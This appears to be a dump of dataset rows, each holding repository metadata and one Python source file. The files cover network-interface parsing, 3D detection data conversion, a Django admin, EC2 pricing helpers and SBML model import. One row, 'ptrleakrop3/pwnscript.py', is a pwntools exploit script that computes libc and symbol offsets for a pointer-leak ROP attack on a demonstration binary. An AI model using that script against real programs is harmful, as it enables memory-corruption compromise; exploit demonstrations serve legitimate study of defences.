d5e9ed1e191081c7378e33af93457b450d48d5b9 | 7,548 | py | Python | debinterface/interfacesReader.py | dfautomation/debinterface | 5f092fd582870b581f03f6a3cb83c8d04285ab89 | [
"BSD-3-Clause"
] | null | null | null | debinterface/interfacesReader.py | dfautomation/debinterface | 5f092fd582870b581f03f6a3cb83c8d04285ab89 | [
"BSD-3-Clause"
] | null | null | null | debinterface/interfacesReader.py | dfautomation/debinterface | 5f092fd582870b581f03f6a3cb83c8d04285ab89 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
# A class representing the contents of /etc/network/interfaces
from __future__ import print_function, with_statement, absolute_import
from .adapter import NetworkAdapter
class InterfacesReader(object):
""" Short lived class to read interfaces file """
def __init__(self, interfaces_pat... | 40.148936 | 77 | 0.514573 |
d5e9f99066d6d219a3f95506a2eb186e32e673bb | 177 | py | Python | tests/test_version.py | LucaCappelletti94/silence_tensorflow | bddab5a96a5fc2130a074eb8a9e201d06361ee17 | [
"MIT"
] | 14 | 2020-04-07T16:20:02.000Z | 2022-01-31T11:53:33.000Z | tests/test_version.py | LucaCappelletti94/silence_tensorflow | bddab5a96a5fc2130a074eb8a9e201d06361ee17 | [
"MIT"
] | 3 | 2020-03-09T10:36:25.000Z | 2021-02-15T10:26:00.000Z | tests/test_version.py | LucaCappelletti94/silence_tensorflow | bddab5a96a5fc2130a074eb8a9e201d06361ee17 | [
"MIT"
] | null | null | null | from validate_version_code import validate_version_code
from silence_tensorflow.__version__ import __version__
def test_version():
assert validate_version_code(__version__) | 35.4 | 55 | 0.875706 |
d5ea035201daa096fe39015645d070a0aa0e4b65 | 20,841 | py | Python | tools/data_converter/kitti_converter.py | rasd3/mmdet3d_actr | d1c86d54f498fca166e957d249b109645ea13627 | [
"Apache-2.0"
] | null | null | null | tools/data_converter/kitti_converter.py | rasd3/mmdet3d_actr | d1c86d54f498fca166e957d249b109645ea13627 | [
"Apache-2.0"
] | null | null | null | tools/data_converter/kitti_converter.py | rasd3/mmdet3d_actr | d1c86d54f498fca166e957d249b109645ea13627 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) OpenMMLab. All rights reserved.
import mmcv
import numpy as np
from collections import OrderedDict
from nuscenes.utils.geometry_utils import view_points
from pathlib import Path
from mmdet3d.core.bbox import box_np_ops
from .kitti_data_utils import get_kitti_image_info, get_waymo_image_info
from .nusce... | 38.17033 | 79 | 0.60261 |
d5ea4fd39af89d9a4977fb18828ffc7e9c7da159 | 358 | py | Python | tests/test_setup.py | jsonchin/nba_stats_scraper_db_storage | 33f33d89c5c76db9625f4973db8afdbbd7045263 | [
"Apache-2.0"
] | 4 | 2017-11-04T05:03:57.000Z | 2022-01-30T13:24:15.000Z | tests/test_setup.py | jsonchin/nba_stats_scraper_db_storage | 33f33d89c5c76db9625f4973db8afdbbd7045263 | [
"Apache-2.0"
] | 1 | 2021-06-01T22:05:19.000Z | 2021-06-01T22:05:19.000Z | tests/test_setup.py | jsonchin/nba_stats_scraper_db_storage | 33f33d89c5c76db9625f4973db8afdbbd7045263 | [
"Apache-2.0"
] | 2 | 2017-11-26T18:59:59.000Z | 2018-07-05T18:05:09.000Z | from nba_ss_db import CONFIG
CONFIG['DB_NAME'] = 'test_db'
CONFIG['DB_PATH'] = 'tests/test_db/databases'
from nba_ss_db import db
def init_test_db():
db.utils.drop_tables()
db.initialize.init_db()
db.utils.execute_sql("""CREATE TABLE IF NOT EXISTS
player_ids (PLAYER_ID text... | 29.833333 | 95 | 0.670391 |
d5ea6f1c97911efba39418622d34dbe1d4b5a7e5 | 226 | py | Python | bitbots_connector/setup.py | TAMS-Group/bitbots_behaviour | 84f713060e6be0803dff1bc3df1bdef49bef02e3 | [
"BSD-3-Clause"
] | null | null | null | bitbots_connector/setup.py | TAMS-Group/bitbots_behaviour | 84f713060e6be0803dff1bc3df1bdef49bef02e3 | [
"BSD-3-Clause"
] | null | null | null | bitbots_connector/setup.py | TAMS-Group/bitbots_behaviour | 84f713060e6be0803dff1bc3df1bdef49bef02e3 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding:utf-8 -*-
from distutils.core import setup
from catkin_pkg.python_setup import generate_distutils_setup
d = generate_distutils_setup(
packages=['bitbots_connector'],
package_dir={'': 'src'}
)
setup(**d)
| 20.545455 | 60 | 0.725664 |
d5ea73d9f5670ea559a9de2ef37e954b203fdbc4 | 4,844 | py | Python | hypixel/uhc.py | HypixelBot/bot | 672e17c5bbd37b0e7e54581b679051b7e59575d2 | [
"MIT"
] | 10 | 2020-06-06T13:57:46.000Z | 2021-11-08T09:27:42.000Z | hypixel/uhc.py | HypixelBot/Bot | 672e17c5bbd37b0e7e54581b679051b7e59575d2 | [
"MIT"
] | 7 | 2020-06-06T14:04:05.000Z | 2020-07-05T04:05:37.000Z | hypixel/uhc.py | HypixelBot/bot | 672e17c5bbd37b0e7e54581b679051b7e59575d2 | [
"MIT"
] | 14 | 2020-06-09T17:12:52.000Z | 2021-07-21T23:24:30.000Z | import datetime
from hypixel.utils.functions import *
class MurderMystery(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.utils = utils(self.bot)
@commands.command(hidden=True, enabled=False)
async def HiddenUHC(self, ctx, user):
start = datetime.datetime.now()
... | 48.44 | 207 | 0.555739 |
d5ea82384dc05a0928580cfa2b1b1c1b1f05e109 | 735 | py | Python | google-cloud-sdk/lib/surface/ml/jobs/__init__.py | KaranToor/MA450 | c98b58aeb0994e011df960163541e9379ae7ea06 | [
"Apache-2.0"
] | 1 | 2017-11-29T18:52:27.000Z | 2017-11-29T18:52:27.000Z | google-cloud-sdk/.install/.backup/lib/surface/ml/jobs/__init__.py | KaranToor/MA450 | c98b58aeb0994e011df960163541e9379ae7ea06 | [
"Apache-2.0"
] | null | null | null | google-cloud-sdk/.install/.backup/lib/surface/ml/jobs/__init__.py | KaranToor/MA450 | c98b58aeb0994e011df960163541e9379ae7ea06 | [
"Apache-2.0"
] | 1 | 2020-07-25T12:09:01.000Z | 2020-07-25T12:09:01.000Z | # Copyright 2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 33.409091 | 74 | 0.752381 |
d5ea8d1f74f9741331048a328f9efce7bfed6074 | 516 | py | Python | prepare_align.py | ttslr/Expressive-FastSpeech2 | 7f1c463d0f10053596de62e5c112ee952f58d924 | [
"MIT"
] | 79 | 2021-05-17T10:19:40.000Z | 2022-03-27T09:01:58.000Z | prepare_align.py | KunZhou9646/Expressive-FastSpeech2 | 7f1c463d0f10053596de62e5c112ee952f58d924 | [
"MIT"
] | 13 | 2021-05-16T23:07:29.000Z | 2022-03-20T23:45:04.000Z | prepare_align.py | KunZhou9646/Expressive-FastSpeech2 | 7f1c463d0f10053596de62e5c112ee952f58d924 | [
"MIT"
] | 22 | 2021-05-16T09:35:50.000Z | 2022-03-04T09:52:58.000Z | import argparse
import yaml
from preprocessor import aihub_mmv, iemocap
def main(config):
if "AIHub-MMV" in config["dataset"]:
aihub_mmv.prepare_align(config)
if "IEMOCAP" in config["dataset"]:
iemocap.prepare_align(config)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
... | 23.454545 | 75 | 0.693798 |
d5ead7f4c90695b056474a8bde033bb6e0febfc1 | 2,810 | py | Python | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/syntax/_boo.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 9 | 2018-10-15T04:57:37.000Z | 2021-12-07T07:39:35.000Z | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/syntax/_boo.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 13 | 2018-10-19T11:52:44.000Z | 2021-09-08T00:39:30.000Z | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/syntax/_boo.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 3 | 2018-10-25T11:08:04.000Z | 2021-02-23T08:28:31.000Z | ###############################################################################
# Name: boo.py #
# Purpose: Define Boo language syntax and other features #
# Author: Cody Precord <cprecord@editra.org> #
... | 35.56962 | 79 | 0.528114 |
d5eae4b4fb12192cc87f333776d98d0945ad5cf7 | 24,227 | py | Python | coderdojochi/admin.py | WeAllCode/coderdojochi | 895e6079d55d0d5822033ff19da014dca578b31d | [
"MIT"
] | null | null | null | coderdojochi/admin.py | WeAllCode/coderdojochi | 895e6079d55d0d5822033ff19da014dca578b31d | [
"MIT"
] | null | null | null | coderdojochi/admin.py | WeAllCode/coderdojochi | 895e6079d55d0d5822033ff19da014dca578b31d | [
"MIT"
] | null | null | null | from datetime import datetime
from distutils.util import strtobool
from django.contrib import admin
from django.contrib.auth import get_user_model
from django.db.models import Case, Count, When
from django.urls import reverse
from django.utils import timezone
from django.utils.html import format_html
from import_expo... | 22.165599 | 92 | 0.548644 |
d5eaf266423fe79d11db0a64ca84233d8ef9c172 | 2,165 | py | Python | metadata-ingestion/examples/library/dataset_add_owner.py | cuong-pham/datahub | cb4eb001758f55622add0f4dc3650cf483609cba | [
"Apache-2.0"
] | 1,603 | 2016-03-03T17:21:03.000Z | 2020-01-22T22:12:02.000Z | metadata-ingestion/examples/library/dataset_add_owner.py | cuong-pham/datahub | cb4eb001758f55622add0f4dc3650cf483609cba | [
"Apache-2.0"
] | 1,157 | 2016-03-03T19:29:22.000Z | 2020-01-20T14:41:59.000Z | metadata-ingestion/examples/library/dataset_add_owner.py | cuong-pham/datahub | cb4eb001758f55622add0f4dc3650cf483609cba | [
"Apache-2.0"
] | 570 | 2016-03-03T17:21:05.000Z | 2020-01-21T06:54:10.000Z | import logging
from typing import Optional
from datahub.emitter.mce_builder import make_dataset_urn, make_user_urn
from datahub.emitter.mcp import MetadataChangeProposalWrapper
# read-modify-write requires access to the DataHubGraph (RestEmitter is not enough)
from datahub.ingestion.graph.client import DatahubClientC... | 30.069444 | 87 | 0.759815 |
d5eb18f92d698722e226a75e4450098709dea5ef | 4,810 | py | Python | docx_microreader/translators/html/docx_html_correspondings.py | DudaEugen/docx_microreader | cc524ff5233b0c074786f2a5c378ea542607359a | [
"MIT"
] | null | null | null | docx_microreader/translators/html/docx_html_correspondings.py | DudaEugen/docx_microreader | cc524ff5233b0c074786f2a5c378ea542607359a | [
"MIT"
] | null | null | null | docx_microreader/translators/html/docx_html_correspondings.py | DudaEugen/docx_microreader | cc524ff5233b0c074786f2a5c378ea542607359a | [
"MIT"
] | null | null | null | from typing import Dict
border_type: Dict[str, str] = {
'nil': 'none',
'none': 'none',
'thick': 'solid',
'single': 'solid',
'dotted': 'dotted',
'dashed': 'dashed',
'dashSmallGap': 'dashed',
'dotDash': 'dashed',
'dotDotDash': 'dashed',
'double': 'double',
'wave': 'dashed',
... | 20.643777 | 42 | 0.364241 |
d5eb3440445c0ac86f845e98f8f55a0b142d4a2c | 466 | py | Python | src/stactools/ga_dlcd/__init__.py | stactools-packages/ga-dlcd | 076485e4edb43d4d0bc3ec31e8ed842d35e633bd | [
"Apache-2.0"
] | null | null | null | src/stactools/ga_dlcd/__init__.py | stactools-packages/ga-dlcd | 076485e4edb43d4d0bc3ec31e8ed842d35e633bd | [
"Apache-2.0"
] | 4 | 2021-07-29T21:42:33.000Z | 2021-09-07T06:40:53.000Z | src/stactools/ga_dlcd/__init__.py | stactools-packages/ga-dlcd | 076485e4edb43d4d0bc3ec31e8ed842d35e633bd | [
"Apache-2.0"
] | null | null | null | import stactools.core
from stactools.cli import Registry
from stactools.ga_dlcd import commands
from stactools.ga_dlcd.cog import create_cog
from stactools.ga_dlcd.stac import create_collection, create_item
__all__ = [
create_collection.__name__, create_item.__name__, create_cog.__name__
]
stactools.core.use_fss... | 23.3 | 73 | 0.815451 |
d5eb4d678db9de99ccabfe0b1a2f6196842ce250 | 42,294 | py | Python | mgeconvert/backend/ir_to_caffe/caffe_op.py | MegEngine/mgeconvert | 8d4fdb01b5a58cfcae3eb62799e5b46de5d8b74b | [
"Apache-2.0"
] | 42 | 2020-12-19T04:16:11.000Z | 2022-03-31T02:40:20.000Z | mgeconvert/backend/ir_to_caffe/caffe_op.py | MegEngine/mgeconvert | 8d4fdb01b5a58cfcae3eb62799e5b46de5d8b74b | [
"Apache-2.0"
] | 37 | 2021-01-04T11:05:38.000Z | 2022-03-22T08:48:14.000Z | mgeconvert/backend/ir_to_caffe/caffe_op.py | MegEngine/mgeconvert | 8d4fdb01b5a58cfcae3eb62799e5b46de5d8b74b | [
"Apache-2.0"
] | 9 | 2021-01-04T12:17:11.000Z | 2022-01-18T09:50:50.000Z | # MegEngine is Licensed under the Apache License, Version 2.0 (the "License")
#
# Copyright (c) 2014-2020 Megvii Inc. All rights reserved.
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT ARRANTIES OR CONDITIONS OF ANY ... | 32.187215 | 129 | 0.560221 |
d5eb64301e3eb12755138f8862daa44797a34567 | 12,716 | py | Python | measureit/measureit_render.py | 1-MillionParanoidTterabytes/blender-addons-master | acc8fc23a38e6e89099c3e5079bea31ce85da06a | [
"Unlicense"
] | 1 | 2018-06-18T09:46:10.000Z | 2018-06-18T09:46:10.000Z | measureit/measureit_render.py | 1-MillionParanoidTterabytes/blender-addons-master | acc8fc23a38e6e89099c3e5079bea31ce85da06a | [
"Unlicense"
] | null | null | null | measureit/measureit_render.py | 1-MillionParanoidTterabytes/blender-addons-master | acc8fc23a38e6e89099c3e5079bea31ce85da06a | [
"Unlicense"
] | null | null | null | # ##### BEGIN GPL LICENSE BLOCK #####
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distrib... | 37.732938 | 117 | 0.506763 |
d5eb8ca35ca3a8d5df7d2441f1997b1a421b9f7a | 1,677 | py | Python | dataset_loading/pascal.py | maltanar/dataset_loading | 75ba02f16735c78dfbd3e3962b484b9b57189dcd | [
"MIT"
] | 10 | 2018-03-08T11:15:17.000Z | 2021-09-12T12:35:26.000Z | dataset_loading/pascal.py | maltanar/dataset_loading | 75ba02f16735c78dfbd3e3962b484b9b57189dcd | [
"MIT"
] | null | null | null | dataset_loading/pascal.py | maltanar/dataset_loading | 75ba02f16735c78dfbd3e3962b484b9b57189dcd | [
"MIT"
] | 4 | 2018-07-06T15:54:35.000Z | 2021-03-04T08:10:07.000Z | from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import os
import pandas as pd
from dataset_loading import core
def img_sets():
"""
List all the image sets from Pascal VOC. Don't bother computing
this on the fly, just remember it. It's faster.
... | 29.421053 | 75 | 0.56768 |
d5eba377f00441ebab9efe69a3f9903cf95f1099 | 3,072 | py | Python | google/cloud/securitycenter_v1/types/__init__.py | renovate-bot/python-securitycenter | 6472a2d563c9071cfa1bea577786f2292963cc20 | [
"Apache-2.0"
] | null | null | null | google/cloud/securitycenter_v1/types/__init__.py | renovate-bot/python-securitycenter | 6472a2d563c9071cfa1bea577786f2292963cc20 | [
"Apache-2.0"
] | null | null | null | google/cloud/securitycenter_v1/types/__init__.py | renovate-bot/python-securitycenter | 6472a2d563c9071cfa1bea577786f2292963cc20 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | 28.71028 | 74 | 0.754883 |
d5eba621672de82e50424e844425341892c1e1df | 4,377 | py | Python | ec2/__init__.py | gongchengshi/aws | d04d42739e026d2e99936dd046be05293e063e08 | [
"MIT"
] | null | null | null | ec2/__init__.py | gongchengshi/aws | d04d42739e026d2e99936dd046be05293e063e08 | [
"MIT"
] | null | null | null | ec2/__init__.py | gongchengshi/aws | d04d42739e026d2e99936dd046be05293e063e08 | [
"MIT"
] | null | null | null | import urllib2
import boto.exception
def get_metadata(name):
return urllib2.urlopen('http://169.254.169.254/latest/meta-data/' + name).read()
def get_instance_id():
return get_metadata('instance-id')
# Hourly rates as of July 18, 2014 for Linux EC2 Instance Types in US West (Oregon)
on_demand_instance_pri... | 35.585366 | 120 | 0.69751 |
d5ebad6b679de42cc8d6fdeb628c9fed2f115c73 | 68,762 | py | Python | python/sdist/amici/sbml_import.py | kristianmeyerr/AMICI | 15f14c24b781daf5ceb3606d79edbbf57155a043 | [
"CC0-1.0"
] | 44 | 2020-09-17T07:12:07.000Z | 2022-02-23T21:25:27.000Z | python/sdist/amici/sbml_import.py | kristianmeyerr/AMICI | 15f14c24b781daf5ceb3606d79edbbf57155a043 | [
"CC0-1.0"
] | 589 | 2020-08-07T21:56:42.000Z | 2022-03-31T17:32:27.000Z | python/sdist/amici/sbml_import.py | kristianmeyerr/AMICI | 15f14c24b781daf5ceb3606d79edbbf57155a043 | [
"CC0-1.0"
] | 10 | 2020-09-02T09:32:43.000Z | 2022-03-23T12:43:45.000Z | """
SBML Import
-----------
This module provides all necessary functionality to import a model specified
in the `Systems Biology Markup Language (SBML) <http://sbml.org/Main_Page>`_.
"""
import sympy as sp
import libsbml as sbml
import re
import math
import itertools as itt
import warnings
import logging
import copy
... | 37.068464 | 140 | 0.591548 |
d5ebed57613341913a59e06f410cc49e71a180b2 | 9,842 | py | Python | monitoring/tracer/uss_receiver/context.py | rpai1/dss | 79d8110c336851b155a6e5417692ec68b70c0c07 | [
"Apache-2.0"
] | null | null | null | monitoring/tracer/uss_receiver/context.py | rpai1/dss | 79d8110c336851b155a6e5417692ec68b70c0c07 | [
"Apache-2.0"
] | null | null | null | monitoring/tracer/uss_receiver/context.py | rpai1/dss | 79d8110c336851b155a6e5417692ec68b70c0c07 | [
"Apache-2.0"
] | null | null | null | import argparse
import atexit
import datetime
import logging
import os
import shlex
import signal
import sys
import threading
import time
from typing import Dict, Optional
import requests
from monitoring.monitorlib import ids, rid, scd, versioning
from monitoring.tracer.resources import ResourceSet
ENV_OPTIONS = 'T... | 39.211155 | 179 | 0.728714 |
d5ec09a7667394f8e2919d590f0067b24fc8047e | 16 | py | Python | CritsAndCoffee.Quant.API/API_Quant/models/__init__.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | null | null | null | CritsAndCoffee.Quant.API/API_Quant/models/__init__.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | 10 | 2020-07-16T23:43:12.000Z | 2022-03-02T03:52:43.000Z | CritsAndCoffee.Quant.API/API_Quant/models/__init__.py | srwagsta/critsAndCoffee2.0 | 4d2042b91675c50c2b6938c1e1863f873c80d391 | [
"Apache-1.1"
] | null | null | null |
__all__ = []
| 3.2 | 12 | 0.4375 |
d5ec1fa5123dcd6b1af7a6114f14ce1ff3339239 | 2,691 | py | Python | faceless/settings.py | tkw1536/faceless | 9f61b4ce4fabd610b67c6c418bc81c06ee720634 | [
"MIT"
] | null | null | null | faceless/settings.py | tkw1536/faceless | 9f61b4ce4fabd610b67c6c418bc81c06ee720634 | [
"MIT"
] | 1 | 2020-06-05T17:54:37.000Z | 2020-06-05T17:54:37.000Z | faceless/settings.py | tkw1536/faceless | 9f61b4ce4fabd610b67c6c418bc81c06ee720634 | [
"MIT"
] | null | null | null | """
Django settings for faceless project.
Generated by 'django-admin startproject' using Django 1.8.2.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build pat... | 26.382353 | 82 | 0.698253 |
d5ec25e238c6e7713e18d7789bda6022ff317671 | 1,167 | py | Python | compose/build_appyters.py | shui02/appyter-catalog | dfa15946d151daeb7d7b1bc9af9e48428474f012 | [
"CC0-1.0"
] | null | null | null | compose/build_appyters.py | shui02/appyter-catalog | dfa15946d151daeb7d7b1bc9af9e48428474f012 | [
"CC0-1.0"
] | null | null | null | compose/build_appyters.py | shui02/appyter-catalog | dfa15946d151daeb7d7b1bc9af9e48428474f012 | [
"CC0-1.0"
] | null | null | null | import sh
import re
import os
import json
import glob
root_dir = os.path.realpath(os.path.join(os.path.dirname(__file__), '..'))
appyter_path = os.path.join(root_dir, 'appyters')
def get_appyters(appyter_path):
for path in map(os.path.dirname, glob.glob(os.path.join(appyter_path, '*', 'appyter.json'))):
appyter ... | 30.710526 | 99 | 0.61868 |
d5ec2f3a3012b593b20ad3c67e9291eb21b91b43 | 13,832 | py | Python | config/settings/base.py | rwblair/expfactory-deploy | 509b74fc16b70234b448a727c4fe7759fb6057c8 | [
"MIT"
] | null | null | null | config/settings/base.py | rwblair/expfactory-deploy | 509b74fc16b70234b448a727c4fe7759fb6057c8 | [
"MIT"
] | 31 | 2021-03-08T21:30:47.000Z | 2022-03-01T12:09:09.000Z | config/settings/base.py | rwblair/expfactory-deploy | 509b74fc16b70234b448a727c4fe7759fb6057c8 | [
"MIT"
] | null | null | null | """
Base settings to build other settings files upon.
"""
from pathlib import Path
import environ
ROOT_DIR = Path(__file__).resolve(strict=True).parent.parent.parent
# expfactory_deploy/
APPS_DIR = ROOT_DIR / "expfactory_deploy"
env = environ.Env()
READ_DOT_ENV_FILE = env.bool("DJANGO_READ_DOT_ENV_FILE", default=Fal... | 42.956522 | 100 | 0.652328 |
d5ec75c56efc004790f95eedddacbf3987e673f5 | 12,006 | py | Python | tests/openassetio/hostAPI/test_session.py | carmenpinto/OpenAssetIO | 62e6f30f658684e4ea73bf4aa3b0156399989c89 | [
"Apache-2.0"
] | null | null | null | tests/openassetio/hostAPI/test_session.py | carmenpinto/OpenAssetIO | 62e6f30f658684e4ea73bf4aa3b0156399989c89 | [
"Apache-2.0"
] | null | null | null | tests/openassetio/hostAPI/test_session.py | carmenpinto/OpenAssetIO | 62e6f30f658684e4ea73bf4aa3b0156399989c89 | [
"Apache-2.0"
] | null | null | null | #
# Copyright 2013-2021 The Foundry Visionmongers Ltd
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | 37.51875 | 97 | 0.754873 |
d5ecaf9625de2ab54eaa43d267d9411b0e1e9bf7 | 2,138 | py | Python | QUANTAXIS/QAEngine/QAAsyncioEngine.py | simplezhang57/QUANTAXIS | 0fab23ee3cc4048a30b5eed3c311a5c9cdce8110 | [
"MIT"
] | 2 | 2018-10-29T12:01:55.000Z | 2021-03-05T10:28:59.000Z | QUANTAXIS/QAEngine/QAAsyncioEngine.py | frosthaoz/QUANTAXIS | f5f482418e5f6e23ac3530089b8d17300d931b48 | [
"MIT"
] | null | null | null | QUANTAXIS/QAEngine/QAAsyncioEngine.py | frosthaoz/QUANTAXIS | f5f482418e5f6e23ac3530089b8d17300d931b48 | [
"MIT"
] | 2 | 2018-11-30T07:52:14.000Z | 2021-05-28T23:00:20.000Z | import asyncio
import datetime
import threading
import time
import traceback
import future
from QUANTAXIS.QAFetch.QAQuery_Async import QA_fetch_stock_day
"""quantaxis 异步引擎
"""
class QAAsync():
def __init__(self):
self.event_loop = asyncio.new_event_loop()
self.elthread = threading.Thread(tar... | 26.073171 | 76 | 0.637512 |
d5ecbdfef2ca5e472e6602061898db392d5b02d3 | 1,563 | py | Python | configs/resnet/resnet50.py | rahulgupta9202/ColossalAI | 993088d45eaa032e39cf5959df2a506f0663bc2e | [
"Apache-2.0"
] | 1 | 2022-03-12T04:49:19.000Z | 2022-03-12T04:49:19.000Z | configs/resnet/resnet50.py | rahulgupta9202/ColossalAI | 993088d45eaa032e39cf5959df2a506f0663bc2e | [
"Apache-2.0"
] | null | null | null | configs/resnet/resnet50.py | rahulgupta9202/ColossalAI | 993088d45eaa032e39cf5959df2a506f0663bc2e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- encoding: utf-8 -*-
import os
IMG_SIZE = 224
BATCH_SIZE = 256
NUM_EPOCHS = 100
model = dict(
type='VanillaResNet',
block_type='ResNetBottleneck',
layers=[3, 4, 6, 3],
num_cls=10
)
train_data = dict(
dataset=dict(
type='CIFAR10Dataset',
root=os.environ['... | 20.298701 | 62 | 0.541907 |
d5ecc31cc62cd3d2b544fbf124e8b9058d7eee9d | 3,165 | py | Python | app/utils/common.py | curioswati/scrapy-tsa | 50556880125412e0b8d925fb46c41c44dd31fb37 | [
"MIT"
] | 2 | 2020-01-15T05:17:23.000Z | 2020-08-13T01:50:00.000Z | app/utils/common.py | curioswati/scrapy-tsa | 50556880125412e0b8d925fb46c41c44dd31fb37 | [
"MIT"
] | null | null | null | app/utils/common.py | curioswati/scrapy-tsa | 50556880125412e0b8d925fb46c41c44dd31fb37 | [
"MIT"
] | null | null | null | import csv
import nltk
import re
def get_stop_wordlist(stop_word_list_filename):
'''
Read the stopwords file and build a list
These are the words which does not impact the classfication.
They don't have any meaning for sentiments as such, for example: is, the, with etc.
'''
stop_words = []
... | 30.142857 | 87 | 0.623697 |
d5ecd6e8840d9a9e58522891f869ec8079b552a2 | 556 | py | Python | src/Python3/A137070/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/A137070/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/A137070/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import json
import socket
import threading
import requests
class SocketServer():
def __init__(self):
self.host = "127.0.0.1" #socket.gethostname()
print(self.host)
self.port = 50006
self.clients = []
def socket_server_up(self):
sock = socket.soc... | 20.592593 | 64 | 0.625899 |
d5ed06df5bd52c19d8688d595c84d834b56a1e27 | 1,861 | py | Python | linux/userspace/elf-mangler/demonstration/ptrleakrop3/pwnscript.py | petergyorgy/virtue | 3b4dbfbdf9f5e121d9c9887d675fdd3065ecdd3b | [
"BSD-3-Clause"
] | null | null | null | linux/userspace/elf-mangler/demonstration/ptrleakrop3/pwnscript.py | petergyorgy/virtue | 3b4dbfbdf9f5e121d9c9887d675fdd3065ecdd3b | [
"BSD-3-Clause"
] | null | null | null | linux/userspace/elf-mangler/demonstration/ptrleakrop3/pwnscript.py | petergyorgy/virtue | 3b4dbfbdf9f5e121d9c9887d675fdd3065ecdd3b | [
"BSD-3-Clause"
] | null | null | null | #!/usr/bin/python2
from pwn import *
import sys
p = process(sys.argv[1])
s = ELF(sys.argv[1])
libc = ELF('/usr/lib/libc.so.6')
print("Libc printf " + hex(libc.symbols['printf']))
printearlyofs = s.symbols['main'] - (s.symbols['leakfun']+8)
printofs = s.symbols['main'] - (s.symbols['leakfun']+8+7)
print(hex(s.g... | 22.695122 | 155 | 0.64374 |
d5ed2eba620a5397b0fabd0689ab1a5527246e4a | 6,444 | py | Python | tensorflow/contrib/learn/python/learn/learn_io/pandas_io.py | gnoses/TensorFlow | 63a21e054007d86269ed1ad0145ebce04ee57a81 | [
"Apache-2.0"
] | 65 | 2016-09-26T01:30:40.000Z | 2021-08-11T17:00:41.000Z | tensorflow/contrib/learn/python/learn/learn_io/pandas_io.py | gnoses/TensorFlow | 63a21e054007d86269ed1ad0145ebce04ee57a81 | [
"Apache-2.0"
] | 5 | 2017-02-21T08:37:52.000Z | 2017-03-29T05:46:05.000Z | tensorflow/contrib/learn/python/learn/learn_io/pandas_io.py | gnoses/TensorFlow | 63a21e054007d86269ed1ad0145ebce04ee57a81 | [
"Apache-2.0"
] | 11 | 2017-09-10T16:22:21.000Z | 2021-08-09T09:24:50.000Z | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | 32.38191 | 84 | 0.642303 |
d5ed6e2167d3d1396a90830fb1da7db841da8df9 | 5,811 | py | Python | ssl_image_classification/libml/preprocess.py | JanMarcelKezmann/Semi-Supervised-Learning-Image-Classification | b32599d1a5f28beefb4f9a744087e1dc47bd9906 | [
"MIT"
] | 4 | 2021-04-16T18:56:46.000Z | 2021-11-18T07:14:04.000Z | ssl_image_classification/libml/preprocess.py | JanMarcelKezmann/Semi-Supervised-Learning-Image-Classification | b32599d1a5f28beefb4f9a744087e1dc47bd9906 | [
"MIT"
] | 2 | 2022-02-05T16:55:14.000Z | 2022-03-06T11:04:23.000Z | ssl_image_classification/libml/preprocess.py | JanMarcelKezmann/Semi-Supervised-Learning-Image-Classification | b32599d1a5f28beefb4f9a744087e1dc47bd9906 | [
"MIT"
] | 2 | 2022-02-08T12:43:49.000Z | 2022-03-06T10:47:56.000Z | import os
import tensorflow as tf
import tensorflow_datasets as tfds
def download_dataset(dataset_name):
"""
Downloads and splits tfds dataset into train and test
Args:
dataset_name
Returns
Train and test split of tfds dataset
"""
dataset = tfds.load(name=dataset_name.lower(... | 32.104972 | 125 | 0.648942 |
d5ed6e55410abf438bdcb098de28aef667aea0ba | 2,880 | py | Python | tests/teams/test_channel.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
] | null | null | null | tests/teams/test_channel.py | wreiner/Office365-REST-Python-Client | 476bbce4f5928a140b4f5d33475d0ac9b0783530 | [
"MIT"
